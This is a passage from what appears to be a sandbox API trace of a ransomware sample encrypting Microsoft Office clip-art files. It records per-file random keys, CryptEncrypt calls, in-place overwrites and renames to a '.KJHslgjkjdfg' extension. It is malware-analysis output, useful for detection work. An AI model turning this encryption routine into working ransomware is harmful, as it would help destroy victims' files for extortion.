dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.195] GetProcessHeap () returned 0x990000 [0196.195] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.195] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.195] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.195] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.196] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.196] GetProcessHeap () returned 0x990000 [0196.196] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.196] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.196] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.196] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.198] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.198] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.198] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.199] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.199] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.199] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.199] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7850, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7850, lpOverlapped=0x0) returned 1 [0196.200] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7850, dwBufLen=0x7850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7850) returned 1 [0196.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.201] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7850, lpOverlapped=0x0) returned 1 [0196.201] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.201] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.201] SetEndOfFile (hFile=0x130) returned 1 [0196.204] GetProcessHeap () returned 0x990000 [0196.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.204] GetProcessHeap () returned 0x990000 [0196.204] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.kjhslgjkjdfg")) returned 1 [0196.206] CloseHandle (hObject=0x130) returned 1 [0196.206] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0196.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.207] GetProcessHeap () returned 0x990000 [0196.207] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.207] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.207] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.209] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.209] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.209] GetProcessHeap () returned 0x990000 [0196.209] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.209] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.210] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.210] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.210] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.210] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.210] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9658, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9658, lpOverlapped=0x0) returned 1 [0196.212] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9660, dwBufLen=0x9660 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9660) returned 1 [0196.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.213] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9660, lpOverlapped=0x0) returned 1 [0196.213] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.213] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.213] SetEndOfFile (hFile=0x130) returned 1 [0196.216] GetProcessHeap () returned 0x990000 [0196.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.216] GetProcessHeap () returned 0x990000 [0196.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.kjhslgjkjdfg")) returned 1 [0196.217] CloseHandle (hObject=0x130) returned 1 [0196.218] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0196.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.218] GetProcessHeap () returned 0x990000 [0196.218] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.218] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.218] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.218] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.221] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.221] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.221] GetProcessHeap () returned 0x990000 [0196.221] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.221] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.221] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.221] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.221] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.221] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.222] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.222] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.222] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.222] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3c58, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3c58, lpOverlapped=0x0) returned 1 [0196.223] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c60, dwBufLen=0x3c60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3c60) returned 1 [0196.223] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.223] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3c60, lpOverlapped=0x0) returned 1 [0196.224] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.224] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.224] SetEndOfFile (hFile=0x130) returned 1 [0196.226] GetProcessHeap () returned 0x990000 [0196.227] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.227] GetProcessHeap () returned 0x990000 [0196.227] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.kjhslgjkjdfg")) returned 1 [0196.228] CloseHandle (hObject=0x130) returned 1 [0196.228] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0196.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.229] GetProcessHeap () returned 0x990000 [0196.229] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.229] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.229] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.231] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.231] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.231] GetProcessHeap () returned 0x990000 [0196.232] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.232] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.232] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.232] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0196.232] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0196.232] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0196.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0196.232] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0196.232] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.232] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.232] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4238, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4238, lpOverlapped=0x0) returned 1 [0196.233] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4240, dwBufLen=0x4240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4240) returned 1 [0196.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.234] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4240, lpOverlapped=0x0) returned 1 [0196.234] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.234] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.234] SetEndOfFile (hFile=0x130) returned 1 [0196.237] GetProcessHeap () returned 0x990000 [0196.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0196.237] GetProcessHeap () returned 0x990000 [0196.237] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0196.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.kjhslgjkjdfg")) returned 1 [0196.239] CloseHandle (hObject=0x130) returned 1 [0196.239] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0196.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.239] GetProcessHeap () returned 0x990000 [0196.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0196.240] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0196.240] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0196.240] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0196.242] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0196.242] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0196.242] GetProcessHeap () returned 0x990000 [0196.242] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0196.242] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0196.242] CryptDestroyKey (hKey=0x9b6628) returned 1 [0196.242] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0196.242] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, 